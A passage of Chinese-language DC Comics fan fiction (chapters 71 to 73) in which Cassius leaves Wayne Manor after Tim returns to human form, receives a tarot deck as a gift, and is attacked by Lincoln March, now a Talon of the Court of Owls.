小挂件还没飞到提姆面前，就因为后劲不足掉在了地上。 布鲁斯松开了达米安的后领，也没见男孩像被自己拉着的时候那样继续往提姆面前冲。 提姆也看到了掉在地上的挂件，这是达米安从他身上……不是，从狐狸身上收集的毛，自己做的一个小挂件。 迪克也松开了他，提姆将身上的被单披好，也学着达米安的样子，仰起头冷哼一声。 “呵。” 迪克顿觉得他这个表情跟达米安用鼻孔蔑视地看那些宾客的时候简直如出一辙。 这段时间和狐狸待在一起最长时间的人就是达米安，都说谁养的宠物就像谁，看现在这个情况，他不会是多了一个读作提姆，写作达米安的弟弟吧？不要啊…… 阿尔弗雷德端着整齐的睡衣推门而入的时候，两个人已经从肢体冲突变成了眼神冲突。 管家面不改色地将提姆的衣服放在床上，堪称全场最冷静的人：“看来提姆少爷不但恢复了，而且还相当有精神呢。” “那当然都是我这个饲主的功劳！”达米安立即说。 提姆刚想继续出声嘲讽，忽然想到什麽地看向管家：“阿尔弗，你刚才上来的时候，有注意到卡修斯在做什麽？” 这里闹出这麽大的动静，以他对卡修斯对了解，他可不相信这个爱吃瓜的家夥还能安安稳稳地躺着睡觉。 他这麽一说，其他人也感到了不对劲。只有对卡修斯了解还不够深的迪克，犹豫地说：“也许他睡的比较沉呢？” “这里的动静大概能惊醒一只冬眠的熊，我刚醒的时候还以为韦恩庄园遇到了敌袭。”管家说。 提姆已经换好了阿尔弗雷德带来的长裤T恤，布鲁斯也将自己的睡衣拉好，说：“去看看吧。” 说着，几人一起朝着三楼客房的位置走去。 阿尔弗雷德先轻叩三下门，叫了卡修斯一声，但门后并没有动静。 达米安保持着和布鲁斯一样的严肃神情：“这麽麻烦做什麽，直接开门进去就好了。” “这可不符合韦恩家的礼仪。”阿尔弗雷德说。 “特殊情况特殊对待吧。”布鲁斯说。 达米安似是就在等这句话，话音刚落，他一直放在口袋里的手就伸出来，直接将手里的钥匙戳进房门的钥匙孔。 “所以说，你为什麽还有卡修斯房间的钥匙啊！”提姆看着他开门的动作，相当不满意。 “我说过了整个韦恩庄园以后都将是我的财产，我有这里每个房间的钥匙又有什麽稀奇？”达米安哼了一声，接着补充道，“包括你和吱吱！” “你在大放什麽厥词？”提姆立即反驳道。 房门被推开，布鲁斯和阿尔弗雷德倒是离房门远些，保持了一个礼貌的距离，不过达米安就不会管那麽多了，他和提姆一起朝着房间内望去，就看到卡修斯将自己整个人蜷在被单里，白色的被单此刻正跟着他的呼吸均匀地上下起伏。达米安和提姆在房间门口的针锋相对都没能将他吵醒。 两人一起走近他的床边，达米安在提姆抬手前就将卡修斯的头从被单里先挖出来。 他还闭着眼睛，没有一点动静。 提姆皱着眉，用手推了推他的肩膀：“卡修斯？” 隔着睡衣，他也能感觉到卡修斯身上不正常的热度。 “他发烧了？” 布鲁斯也走了进来，他将手背放在卡修斯的额头上试了试温度，正准备吩咐阿尔弗雷德去开车，将人送到莱斯利诊所，就看到他迷迷糊糊睁开眼。 卡修斯的瞳孔还蒙着一层雾气，他模模糊糊看到自己床边站了几个人，将手放在自己脸上的人特别像布鲁斯·韦恩。 他以为自己还在梦里，一把抓上布鲁斯放在他头顶的手，然后贴在自己的脸上。 “外敷，外敷，麦外敷……” 所有人：…… 达米安先愣了一下，然后立刻炸毛，提姆都来不及阻止他，只见他双手扣住床垫底部，一抬手，将卡修斯连人带床垫一把掀翻。 “别……” 谁出声阻止已经不重要了，重要的是卡修斯已经被掀翻在地。 还好布鲁斯一把顶住床垫，要不然他可能成为这个世界上第一个被床垫压进医院的人。 卡修斯终于醒了，有一个瞬间，他还以为地震了。 “你在做什麽！”达米安暴怒道。 “我做什麽了？”卡修斯坐在地上，一脸茫然的看着众人，最后，他将视线定格在了提姆身上：“你恢复了？” 他的声音还带着刚睡醒的那种沙哑。 提姆将人从地上拉了起来，此时再抓他手的时候，他身上的温度已经恢复了正常，要不是布鲁斯刚才也确认过他的体温确实不正常，提姆差点以为刚才那是自己的幻觉了。 “这只涩仓鼠平时对着格雷森的屁股流流口水也就算了，竟然胆敢觊觎我的父亲，真是越来越放肆了！” 卡修斯的睡意渐渐消散，他僵硬地转过头，看到站在一边的布鲁斯，迪克，还有门口的阿尔弗雷德。 原来刚才的不是梦。 为什麽社死的总是我。 卡修斯生无可恋。 “你们大半夜的为什麽要进我房间啊……” 他有气无力的控诉道。 布鲁斯此刻也没空计较他的冒犯，只皱眉看着他，关心地问道：“你感觉怎麽样？” 什麽我感觉怎麽样？ 卡修斯摸不着头脑，不知道布鲁斯为什麽这麽问。 “你刚才昏迷了。”迪克补充道。 “啊？”卡修斯眨了眨眼，“没啊，我应该只是睡的比较熟吧……” 布鲁斯沉吟一下，说道：“介意先去蝙蝠洞做个检查吗？” 什麽，他竟然获得了进蝙蝠洞的资格吗？那肯定要去啊，不去都对不起穿越这个身份！ 卡修斯疯狂点头。 布鲁斯本意只要他们两个单独去蝙蝠洞就可以了，但达米安和提姆坚持要跟去，所以又变成了全家一起行动。 “我怎麽了？” 卡修斯靠近提姆，凑在他耳边悄悄问。 “你说你睡着了，但你刚才就像是昏迷似的，对外界的刺激完全没反应。”提姆转过头，也凑在他耳朵边，悄悄说。 “哼！水性杨花。” 达米安的声音又钻进他的脑子了。 卡修斯：…… 作为一个10岁的儿童，你懂的东西是不是过于超前了？ 迪克不动声色的靠近卡修斯，也在他耳边压低声音悄悄问：“你一直能听到达米安的心声吗？” 卡修斯瞥了他一眼，悄悄点了点头。 迪克的表情看上去有点凝重。 达米安终于忍不住走过来了。 他伸出食指准备戳上他的腰，被卡修斯一把抓住：“干嘛！” 要不是能听到他的心声，又要被他得逞了。 达米安横眉冷对地看着他，恶狠狠地说：“你到底要勾引我几个兄弟？我同意你和格雷森或者陶德在一起，但是不允许你再肖想提摩西了！我父亲也不行！” 卡修斯：…… 你倒是把我安排的明明白白。 迪克：“喂！” 提姆也相当不满意：“凭什麽我不行。” 达米安瞪他：“我不允许我养的狐狸跟我养的仓鼠搞在一起，这是乱·伦。” 迪克无语望天：“刺客联盟，你真该死啊！” 一行人已经下到了蝙蝠洞，卡修斯这个时候已经完全清醒了，非常没见过世面的瞪大眼睛，心里一个劲的哇塞哇塞，看到什麽都想过去摸摸看。 还是作为现代人的文明和矜持让他控制住了自己。 此刻的布鲁斯已经重新穿上了蝙蝠装，而卡修斯甚至都没有看清他是怎麽换装的。 下到蝙蝠洞后，迪克和提姆几乎立刻进入了工作模式，两人协助布鲁斯打开所有需要的医疗设备，接着便一起引导卡修斯进行全身体检。 然而所有的检测结果都是正常的——除了卡修斯尾椎处的钥匙形状的纹样颜色更深了些。 “扎塔娜对提姆施放魔法的时候，你感觉怎麽样？” 布鲁斯还记得，卡修斯当时叫了一声。 “就是感觉那个纹身忽然烫了我一下，之后，就是有点困，其他也没什麽特别的。”卡修斯回答。 “会不会只是被魔法的残余力量波及到了？”提姆问。 “那吱吱能变成真的仓鼠吗，这样我就可以随身带着他，在他变回人之前，好好调·教。他现在越来越没规矩了。”达米安一本正经地畅想。 卡修斯：不可能，别做梦了。 来回折腾了一番，毫无结果，关于神秘侧的东西，看来还是要等扎塔娜来帮忙解释。 布鲁斯刚才又联系了她，但目前她正处于失联状态，只能等她回来后，主动联系他了。 不过扎塔娜离开时对卡修斯得态度，让布鲁斯并不是特别担心。扎塔娜是个优秀的魔法师，她的判断一般不会出错。 卡修斯也陷入短暂的沉思，他觉得自己只是很普通的睡了一觉，但从眼前几人的反应看来，好像并不是这样。 布鲁斯让大家先去睡觉，自己又坐在了蝙蝠洞的主控台前。 卡修斯其实很想参观一下蝙蝠洞，但很明显布鲁斯是绝对不会答应他这个请求的，所以他也只是想想而已，根本没开口。 出了蝙蝠洞，迪克最先回了房间，他得抓紧时间再睡一会儿，早上还得赶早班车回布鲁德海文，布市的儿童失踪案还没有解决，原本想让提姆帮忙的，谁想到才到布市就遇到布鲁斯失踪，后来提姆变成了狐狸，也没法让一只狐狸帮忙找线索。 提姆刚刚恢复人形，虽然他现在看上去好像挺有精神，但迪克感觉的出，他还没有彻底恢复，有时候还不自觉的露出一些当狐狸时的习惯，而且性格也还没有恢复，他可不想提姆到了布市后，用达米安的表情对着他们调查小组的成员嘲讽：在座的各位都是垃圾。 达米安也回屋了，回屋前还重重摔上了门，因为提姆说：“你晚上别再来偷我了。” “TT，想得美！” 卡修斯回房的时候，提姆跟着他。 “你跟着我干什麽？”卡修斯转身关门的时候瞪着提姆说。 “等你睡着了我再走。” 卡修斯瞪着他：“为什麽？” “看看你是不是真的被魔法影响到。”提姆一本正经的解释。 “不需要……” “这些天我都是等会你睡着的时候才走。”提姆说。 “你什麽时候……” 卡修斯惊讶地脱口而出。问了一半，他就不再问了。 他就说，之前睡觉的时候总觉得好像有什麽东西盯着他，他还以为是韦恩庄园的监控。 “你现在已经恢复了，没这个必要了吧。”卡修斯婉拒。 提姆想了想，说：“行，那让我再看看你那个纹身。” 刚才给卡修斯做全面检查的时候，只有布鲁斯看到了那个纹身，他都没看到。 卡修斯盯着提姆表情看了一会儿，意识到他不达目的绝不会轻易离开后，只好叹了口气：“好吧。” 他也发现了，提姆虽然恢复了人形，但性格好像还没彻底恢复，对于他，也还带着些盯紧猎物的执拗。 还能怎麽办，当然是选择溺爱他啦。 卡修斯趴在床上，将自己的衣服撩起来一些，露出尾椎处的皮肤，侧头看着他：“只许看，不许摸，看完赶紧走！” 第72章 忘掉的就都是不重要的【确信 提姆走近他的床边，垂眼看着卡修斯腰部白皙的皮肤。 普通纹身的颜色是普蓝色的，他记得第一次看卡修斯身上的纹身时也是这种颜色，但现在，总觉得这个纹身上的蓝色更艳丽了些。不知是不是受到残留在身体内的兽。性影响，提姆确实感觉到自己还没有彻底恢复——要不然自己怎麽会有一种想要咬上去的冲动呢。 “嘿！” 卡修斯将衣服放下来，又马上从床上坐了起来，充满警惕地看着提姆：“你刚才是不是咽口水了？” “嗯？我没有。” 提姆一脸无辜，根本不承认。 “好了，你看也看过了，快走吧，我还想睡个回笼觉呢。”卡修斯按着他的肩膀，将人往屋外推。 提姆没挣扎，顺着他的力道走到了门外。 其实他还想再看一眼，总觉得那个钥匙的形状好像比之前大了一些。 但卡修斯将提姆推出去后，就用最快的速度关上了门。 他站在门前屏住呼吸静静听了一会儿，直到确定提姆离开了，才缓缓舒了口气。 他走近床，将自己摔进床里，闭上眼，开始再一次酝酿睡意。 既然提姆已经恢复了，达米安看上去对父亲和兄弟们适应的也相当良好，卡修斯觉得自己在韦恩庄园的客人身份也应该到此为止了。 这里实在不是他能久待的地方。 就算布鲁斯不说，卡修斯也看得出，他知道提姆和杰森对他都有点超出普通朋友范围的感情。 就是因为这个，他现在每次看布鲁斯的时候都有点不好意思，就算在心里叫他外敷的时候，也没有以前那种坦然了。 明明自己什麽都没做，却不知道为什麽，对着布鲁斯有了一种负罪感，感觉自己拱了韦恩庄园的白菜……呸！我才不是猪！ 卡修斯怒锤床垫几下（在他们去蝙蝠洞的间隙，万能的管家已经再一次整理好了卧室，并且将床垫恢复了原位），打算今天早餐的时候，就向布鲁斯辞行。 他本以为自己睡不着的，没想到不知不觉的，自己又沉入了梦乡。 等他再醒来的时候，看了眼时间，快到中午12点。完蛋，本来打算今天早点开店的，没想到竟然睡到这个点儿。他的闹钟难道没响？ 等他洗漱好走出房间下楼，就看到达米安和提姆正一块儿坐在餐桌前。 达米安面前是一份中东风味的素餐，提姆面前的盘子里则是一份香气扑鼻的烤小羊排。 当提姆是狐狸形态时，达米安和阿尔弗雷德严格控制了饮食，虽然每天吃的东西营养丰富，但没有任何调味料。当野兽的时候不觉得，但是现在，从闻到羊排香味的时候，他就在不停地分泌唾液。 “阿尔弗，麻烦给我一杯咖啡。”提姆说。 “不可以。”达米安立即出声反驳。 提姆翻了翻眼睛，非常不满意地说：“我想我应该有饮食自由的权利？” “在你成为狐狸期间，我向潘尼沃斯问询了你作为人类时的饮食习惯清单，我认为你现在的当务之急就是戒掉咖啡，你的咖啡因摄入量已经远远超过了正常人类的健康标准，作为你曾经的饲主，我有必要为你纠正这个具有严重健康风险的坏习惯！”达米安虽然说的有理有据，但是态度实在过于欠揍，是那种让人听了就忍不住叛逆的感觉。 “麻烦管好你自己？”提姆看到阿尔弗雷德没动，就知道这件事也得到了管家的认同。 “我说过了，我是韦恩庄园未来的继承人，我有必要保养和看顾庄园内所有属于我的财产。”达米安振振有词。 “我同意，但我不属于你。”提姆假笑道。 “你姓韦恩，你就属于我。我会从父亲那里继承所有，包括你。” 提姆：…… “噗——” 卡修斯忍不住笑出声。 楼下的人齐齐抬头看向他。 卡修斯顺着楼梯走向餐厅：“早啊，两位少爷。早，阿尔弗雷德。” “呵，早什麽早，已经是中午了。”达米安出声嘲讽。 但卡修斯自动将这句话翻译成“你也早。” “懒吱吱，睡的跟猪一样沉，还自不量力的上早起闹钟。” 卡修斯：我好像知道是谁关掉了我的闹钟。 阿尔弗雷德看到卡修斯时，便重新走向餐厅，不一会儿，便用餐盘端着一份午餐再次走了进来。 “日安，希尔先生。” 卡修斯本想当着布鲁斯的面提起自己今天打算离开的决定，毕竟当初是布鲁斯亲自邀请他住进来做客的，离开的话，也应该当面告诉他会比较好。 所以他直接问道：“布鲁斯呢？” “老爷去了公司。”阿尔弗雷德回道。 “你找布鲁斯做什麽？” 提姆手上切羊排的动作停了下来，眯着眼，狐疑地看着他。 达米安虽然不知道提姆为什麽这麽问，但也抬起头来。 不愧是提姆啊，还是一如既往的敏锐。不过这些没什麽好隐瞒的，既然提姆问了，他便直接开口道：“既然提姆已经恢复，达米安少爷在这里也越来越习惯，我打算今天就离开韦恩庄园，潘尼沃斯先生，感谢您这麽多天无微不至的照顾。” “韦恩庄园比你自己那个仓鼠笼子好多了，不许走。”达米安皱起眉，霸道地说。 卡修斯宽容地朝他笑了笑：“达米安少爷，韦恩庄园是很好，但这里再好，也不是我的家呀，我只是庄园的客人。在这儿一直打扰你们共享天伦也不是很合适。” “我没有觉得打扰！”达米安提高声音。 但这是卡修斯已经决定好的事，不会因为达米安的抗拒就轻易改变的。 阿尔弗雷德拍了拍达米安的肩膀，示意他少安毋躁，随后朝卡修斯温和的笑了笑，开口道：“布鲁斯老爷出门前叮嘱过我，您起身后，大概会提出想要回去。他感谢您在提姆少爷身体不适时做出的牺牲，并吩咐我将您安全送回命运纺车。” “父亲怎麽可以不经过我的同意就让吱吱走？”达米安非常不满的皱眉质问。 那大概是因为布鲁斯比你更了解我吧。 卡修斯在心里默默回答。 一直没说话的提姆突然开口：“既然你是为了我留在韦恩庄园做客的，那就让我送你回去吧。” “你！”达米安用叉子指了指提姆，然后大声控诉，“叛徒！” 说完，他就端着自己的餐盘，怒气冲冲地直接上楼回了自己的卧室。 卡修斯看着男孩怒气冲冲的背影，居然觉得他有点可爱。总之他比刚见到的时候，更有一个10岁男孩的样子了。 “快吃吧，吃完我帮你收拾东西。”提姆淡声提醒道。 等他收拾好行李，站在韦恩庄园门厅时，达米安正一言不发地抱着手臂站在玄关处。 “如果你坚持回你那个仓鼠笼子，带着这个。” 说着，他扔过来一个黑色的小东西。 卡修斯伸手接住，定睛一看，是一个通信器。 “我已经了解过了，你住的那个地方正是哥谭的有害垃圾们经常出没得地方。”达米安的脸上挂着一如既往的，对愚蠢人类的蔑视，继续说道：“如果有不长眼的垃圾敢来骚扰你，你就按这个，作为你的饲主，我会第一时间出现的。” 卡修斯将通信器放在手上把玩了一阵，然后郑重地放进自己的口袋，认真地说：“谢谢。” 达米安瞪了他一眼：“你是我的财产，我当然要看顾好你。” 卡修斯：…… 虽然很不想回忆，但拉尔斯好像也说过同样的话，这难道就是血缘的传承麽？ 提姆从旋转楼梯上走下来，卡修斯注意到，他明明不用去公司，却依然穿了正装，这让他看上去比实际年龄成熟很多，一点也不像不到18岁的样子。 他隐约感觉到，除了罗宾的制服，提姆在他面前好像一直刻意打扮的非常成熟，他曾在漫画里看到的，他喜欢的卫衣或者T恤+牛仔裤或者休闲裤的装扮他似乎从来都没有穿过。 “走吧。” 提姆接过他手里的提包，而卡修斯直到将手里的包递给他，才后知后觉的感觉自己这个动作是不是做得太熟练了？现在是连客气都不跟他客气一下了吗？ 本来达米安也想跟着他一块儿去的，但阿尔弗说布鲁斯安排了今天和他新学校的校长见面，等会要带着他去韦恩集团和布鲁斯会合，然后一起去见校长。 达米安自己是不想去见那个说不定知识面都没他广的校长的，但父亲说这是他必须参与的正常的同龄生活和社交。他一向不愿让父亲失望，只能忍着不高兴，让他的狐狸独自去送仓鼠。 阿尔弗为他们选了一辆相对低调的奔驰，卡修斯怀疑，这可能是布鲁斯车库里最“平价”的一款车。 车子缓缓启动，提姆一路上一直没怎麽说话，卡修斯莫名觉得空气里有种尴尬的气氛，因此也没有轻易开口。 车厢里弥漫着雪松与冷泉的气息，这应该是阿尔弗雷德新调的车载香薰。他记得自己只是在之前的餐桌闲聊中随意提到过一次，没想到就被管家这麽快就调出来，还专门用在送他的路程上。 “这不是阿尔弗调的，是我调的。” 提姆忽然开口道。 “啊？” 卡修斯愣了一下。 “你不是……” 听不到我的心声吗？难道又被骗了。 “你的表情很好懂。”提姆侧头看了他一眼，笑着说。像是终于打破了两人之间奇怪的尴尬气氛。 “这就是我不想继续留在韦恩庄园的原因。”卡修斯低声嘟囔着。 “嗯？” “韦恩庄园几乎每个人都听得到我的心声，就算是你，也能从我的表情看得出我想的是什麽，这种感觉就像在……裸/奔，毫无隐私可言。”说着卡修斯自嘲的哼了一声，“也不知道这种‘超能力’的存在到底有什麽意义。” 说话间，他们已经到了犯罪巷附近的停车场，看提姆想要和他一起下车，他立刻阻止他：“别，你还是别跟我一块儿上去了，周末店里的客人多，我怕引起围观。” 再说，自从在宴会上，布鲁斯·韦恩亲自盖章他‘玄学大师’的身份，他的店里的客流量就跟着水涨船高了。他现在可不敢再和提姆一块出现，这可真的会上报纸。卡修斯还是希望自己能低调点的，毕竟他本来就没有在哥谭待一辈子的打算。 “我可以便装。”提姆打开手套箱，从里面翻出一枚假胡须，还有一只大的几乎可以遮住他半张脸的墨镜。 卡修斯干笑两声：“还是算了吧，提姆，我自己上去。” 提姆拿着胡子的手顿了顿，他又从后视镜中看了卡修斯一眼，看出他眼里的躲闪。 卡修斯现在内心相当矛盾，他知道提姆对他的想法，但他内心的道德感实在不允许他回应提姆，但他可以感觉到自己的意志正在被提姆这种和风细雨又不动声色的照顾中，慢慢被瓦解。 提姆放下手中的胡子：“好吧，那你注意安全，有事的话……” “我知道，调用你们嘛，达米安不是已经提醒过我了？” 提姆歪头看着他：“我给你的通信器，你还留着吧？” 卡修斯点头。 “那真的有危险的话，先调用我。” 卡修斯笑出声。 “这也要和达米安争输赢吗？” “达米安可是会杀人的。”提姆提醒道。 也是。 卡修斯打开车门，提姆将包递给他。 “知道啦！”卡修斯从他手中接过包，但提姆并没有松手。 “包里有一份我给你的谢礼，别忘了看。” 他说。 卡修斯再次狐疑地看着他：“是什麽东西？” 太贵重的他可不敢要。 “没事的，你回去看了就知道，我觉得你会喜欢的。还有一件事，别忘了。” 提姆提醒。 卡修斯疑惑的看着他。 “5个月。”提姆说。 “什麽五个月。”卡修斯完全想不起来这个时间节点有什麽重要的事。 “还有5个月，我就18岁了。”提姆认真看着他说。 卡修斯愣了一下，随后缓缓笑出来。 “我知道了，会等你的。” 他说。 提姆的表情里终于带了些满意的意味，痛快地松了手。 卡修斯看着奔驰缓缓消失在自己的视线里，心里有种奇怪的感觉。感觉自己好像真的有件什麽事儿给忘了。但是本着“既然忘了，那肯定不是什麽重要的事”的心态，卡修斯也只是短暂的回忆了一下，就把它抛在了脑后。 回到店铺后，他拉开背包看了看，里面果然躺着一个礼盒。 他立即将外包装拆开查看，如果是非常贵重的东西的话，他势必是要退还给对方的。 但礼盒里面躺着一整套全新的塔罗牌，卡修斯将纸牌拿起摸了摸，牌面的做工相当精致，而且卡牌还有一定的硬度，边缘摸上去甚至还有些锋利。 塔罗牌里还放着一张纸条，是提姆的字迹： 【我拜托卢修斯特别定制的，上次看到你用纸牌当飞镖，感觉挺有意思，多练练吧。】 卡修斯想了一下，好像是上次和阿尔弗雷德一起被刺客联盟追杀的时候，自己确实用过。 有点感动，但又觉得提姆够狡猾的，这就是阳谋，送这个的话，自己肯定会随身带着的。 【喜欢，谢谢了。】 他最终还是发短信道了谢。 重新回到店铺工作和生活的周末，卡修斯沉浸在忙碌的生意中。客人们问的都是普通人关心的问题，关于恋爱，学业或者事业，感谢布鲁斯的宣传，现在让他帮忙找人的占卜多的不得了，不过对于这些，卡修斯也是选择性接待，想要找自己未来男朋友的，卡修斯欣然起卦，但是其他的找人需求，他就会看情况了。总之，他的原则就是，绝对不帮可疑人员利用玄学犯罪。 两天没有义警参与的普通人生活让卡修斯感到相当轻松，就好像回到了当初在中国城酒吧打工的日子。 他觉得自己还是得跟超英们保持一些距离才比较好。 义警的生活虽然刺激，但作为一个以普通人生活了二十多年的人，真的不想这麽频繁的打打杀杀。 他感觉最近一个月杀的人可能比他一辈子杀的鱼都多。 周日晚上近11点的时候，卡修斯终于接待完了全部的客人。准备休息之前，他又开始了“今日运势”这个栏目的更新，最近因为变故频发，他这个栏目也好久没有更新了，也不知道掉马后的超人还会不会继续当他网站的铁杆粉丝。 按下发布后，他又等了一会儿，很快，陆陆续续就又有了不少评论，都是感慨这个栏目终于又更新了的。他特意看了看评论的用户名，发现以前经常都是第一时间评价的大都会普通市民CK这次没有再给他评论。 看来是脱粉了，哎，居然有种淡淡的忧伤呢。 锁门前，卡修斯看着手边放的，全新的塔罗牌，翻起了上面的第一张牌。 最近很久都没帮自己抽过牌了。 翻开的牌面让他微微皱了皱眉，想要时间倒退5秒，直接睡觉，而不是在睡前给自己找不痛快。 【月亮】正位。 牌面的中央，是一轮银色满月，月光的暗面高耸的榕树上蹲着一只瞳孔猩红的猫头鹰，月下是一座哥特顶的城堡，城堡中有蝙蝠飞出，而树上的猫头鹰蓄势待发。 卡修斯看着牌面愣了好一会儿，忽然想起被自己遗忘的问题——林肯·马奇！ 被塔利亚利用，又反过来坑了她的棋子。布鲁斯是从猫头鹰迷宫出来了，但他从没告诉过自己，猫头鹰法庭在那一夜之后怎样了。 两人谈话的那晚，所有的话题都是围绕着卡修斯和达米安的经历展开的。 卡修斯觉得自己陷入了思维误区，布鲁斯从迷宫中提前出来，他就想当然的以为他已经解决了猫头鹰法庭。 从那之后，他确实再也没看到林肯·马奇出现在公众视线中，所以他也理所当然的以为布鲁斯已经击败了他。 卡修斯拿起电话，想要打给提姆，问问猫头鹰法庭和林肯·马奇都怎麽样了。 “哐啷！” 玻璃爆裂声炸响。 卡修斯下意识的将桌上的一叠塔罗牌揣在了口袋里。 一道黑影如炮、弹般撞碎橱窗，卡修斯旋身后撤，手中原本拿着的那张【月亮】被他“嗖”一声飞了出去。 塔罗牌嵌在了他金属盔甲关节的缝隙中，但没有对对方造成任何伤害。 那人半跪在满地碎玻璃种缓缓抬头。 黑甲覆面的头盔前，还带着一个诡异的白色面具，他胸口的装甲特立独行的嵌着两个巨大圆形亮银色金属，远远看过去，就像在是一只巨大的猫头鹰的眼睛。 “你是CS-02。”如砂纸般粗糙的声音在面具后响起。 卡修斯已经将袖剑卡在了自己的小臂上。 他冷眼看着面前全副武装的利爪。它身上的装备看着挺贵，四肢和后胸都镶嵌着类似小型助推器的东西。 他应该就是靠这个，在卡修斯没有察觉的情况下，瞬间破窗而入的。 卡修斯知道，应该不是所有的利爪都有资格像面前这个人一样，武装到牙齿。 CS-02，这是他身上纹身的编号，只有布鲁斯他们见过，但他们绝不可能透露，而所有认识的人里，只有拉尔斯这样叫过他。 可是面前的人是个利爪。 “你是林肯·马奇。” 卡修斯肯定地说。 如果他以利爪的身份出现，说明他已经不是活人了。 对方并没有回答他，而是亮出了手中的银光。 “猫头鹰法庭判你死刑。” “呵。”卡修斯冷笑一声，他站起身，眼里不再有丝毫普通人的柔软，重新变成了那个冷酷的刺客。 “飞机解体都没能要我的命，猫头鹰判我死刑？我觉得你们当下最重要的不是占领哥谭或者杀谁，而是先治好你们的中二病。” 说着，卡修斯抬手，冲着他的脸开了几枪。 利爪被子弹的冲击力打的后退几步，泛着黄光的护目镜应声而裂，露出了他不似活人的，灰白色的眼睛和暗红的瞳孔。 他在卡修斯再次开枪的时候抬手挡了一下，但这次枪声没有再响起。 利爪放下胳膊，面前已经空无一人。 它转身，朝着身后破碎的窗外纵身追去。 第73章 你算哪块小饼干？ 卡修斯觉得自己这辈子大概都没跑得这麽快过。 他现在的目的地是狄克逊码头的冷库，布鲁斯曾在那里把利爪和熏肉冻在一起，才得以赶到仓库支持他和罗宾。因此，卡修斯在看到利爪的第一时间就打定主意要在那里解决他。 更何况，他的店铺才刚刚装修好没几天，他可不希望又被砸得一片狼藉，这样真的非常影响他店铺的口碑。 利爪身上的金属装备是重甲，原则上来说，会拖慢他们的动作，但被琥珀金强化过的活死人则不需要遵守这种常规的物理法则。 已经成为利爪的林肯·马奇很快就追了上来。 所以说，他真的非常讨厌这种不尊重科学的世界。 林肯·马奇抬起装备着金属利爪的手臂直刺自己目标的后心。 卡修斯此刻就要感谢他那个没用的超能力了。因为认出了林肯·马奇的身份，他能听到这个利爪的心声，提前知道他要攻击自己的位置。卡修斯侧身用袖剑格挡，金属碰撞再次爆出刺目的火花。他翻转手臂，泛着冷光的金属利爪猛地拍向卡修斯的脑袋。 卡修斯翻滚躲过这裂颅一击，袖剑顺势刺入林肯肋下铠甲的缝隙之中。 他感觉到自己刺入了对方的肉/身，可伤口处并没有鲜血涌出。 卡修斯立即明白，寻常的物理攻击对利爪是无效的。 林肯·马奇反手攥住剑刃，将卡修斯狠狠掼向斜前方的墙壁。 “砰！” 脊椎撞上砖墙的剧痛让卡修斯眼前发黑，林肯的利爪抵住他的锁骨，爪尖狠狠戳了下去。 “嘶！” 卡修斯痛苦地咬牙吸气。 金属利爪又猛地从他锁骨处抽出，卡修斯闷哼一声。在爪尖再次打算穿透他的喉骨时，卡修斯单手握住了对方泛着冷光的臂铠。 眼看爪尖离自己的脖子越来越近，卡修斯猝不及防地松开装备着袖剑的右手，脖子也向另一边偏移。 他的爪尖再一次扎入卡修斯的锁骨，但卡修斯扬起袖剑，扎向他裸露出来的那只眼睛。 利爪发出一声怪异的叫声，向后退了半步，卡修斯趁机脱离对方的禁锢，趁他捂着眼睛的间隙，以平生最快的速度隐匿行踪，朝着狄克逊码头的方向飞奔而去。 林肯·马奇再次追上他的时候，卡修斯已经如鬼魅般翻进狄克逊码头的集装箱群。 海风裹着肉类的腥味灌入他的鼻腔，卡修斯终于靠近了冷库。 零下五十度的低温不但能削弱利爪的活性，它身上的装备也不能在这样的低温下正常运行太久。 刚才他在逃的时候大脑也在疯狂转动。猫头鹰法庭绝对不会关注到他这种无名小卒，既然林肯·马奇能叫出拉尔斯曾经叫自己的称呼，那就说明他是从刺客联盟那里得到自己的消息的。现在刺客联盟正处于拉尔斯不在的混乱之中，有理由要他命的人，用脚指头都想得出，除了塔利亚也没有其他人。 当初她离开的时候，卡修斯还以为她暂时放弃杀自己了呢，看来当初在丧钟手里救她一命的恩情并不能打消她想让他死的念头。 卡修斯倒也没有很生气，如果塔利亚当初透露给他的消息是真的，那似乎也情有可原。她想要彻底控制刺客联盟，想要保全达米安，那麽卡修斯·希尔这个有可能让拉尔斯复活的定时炸弹好像确实得死。 塔利亚想要借刀杀人，斩断拉尔斯利用他复活的可能。 理解，但他还不想就这样死掉。 不过按理说，塔利亚想要利用林肯·马奇的阴谋败露，他也坑的她被丧钟俘虏，两人应该水火不容了，怎麽又勾搭到了一块儿？林肯·马奇居然还能再次受塔利亚驱使，不愧是能强上蝙蝠侠的女人，佩服。 “怎麽，这麽快就忘了在塔利亚那儿吃过的亏了？”卡修斯喘息着将袖剑卡进液压阀，打算把自己和林肯·马奇一起关在冷库里——原本的计划不是这样的，但他追的自己太紧，自己不进去的话，绝对没办法将对方装进冷库。 当利爪出现在自己住处的时候，他就按下了提姆给的通信器，而且以蝙蝠家在自己店里的布控密度，他不相信布鲁斯他们会对自己现在的处境丝毫不知，如果他们直到现在还没有出现，只能说明他们被更棘手的情况绊住了。 卡修斯当然不会坐以待毙，只希望蝙蝠侠能尽快解决他们遇到的危机，好来冷库里把他挖出来。别说利爪怕低温，身为普通人类的他也扛不住太久的低温啊。 冷库闸门轰然闭合的瞬间，林肯的利爪“噌”地扒住门缝，硬生生地将冷库门扒开，他又几拳落下，直接破坏了冷库大门。 “艹” 卡修斯骂了一句，疾速退到冻肉垛之后。 “你逃不掉的。” 林肯说道，但他的声音僵硬阴沉，根本不像是活人能发出来的动静。 利爪的速度确实被低温影响，变得缓慢了些，但卡修斯同样也觉得冷。 利爪劈开冻得像石头般硬的牛半胴，卡修斯旋身躲到挂肉的吊轨后方，袖剑擦着林肯左腿腿甲和助推器间相接的缝隙，溅起一溜火星。 林肯一爪劈下来，可惜扑了个空，卡修斯一击得手之后立即撤退，借着满库的牛半胴再次隐蔽自己的身形，一边暗暗祈祷，蝙蝠家的义警们能快些过来。 这个BOOS不是准备给蝙蝠侠的吗，让自己去单挑又算怎麽回事？他一点也不想跟蝙蝠侠抢高光啊！ “拖延时间只会让你死得更惨。” 林肯·马奇在一排排的冻肉中缓慢行进，一边冷声说道。 “布鲁斯·韦恩不会来救你，我唤醒了全部利爪，今天务必拿下韦恩庄园，他现在自身难保。” 卡修斯心里沉了沉。猫头鹰法庭的利爪一般一次只会出动一只，如果利爪全部出动的话，就算是布鲁斯，应付起来也捉襟见肘。 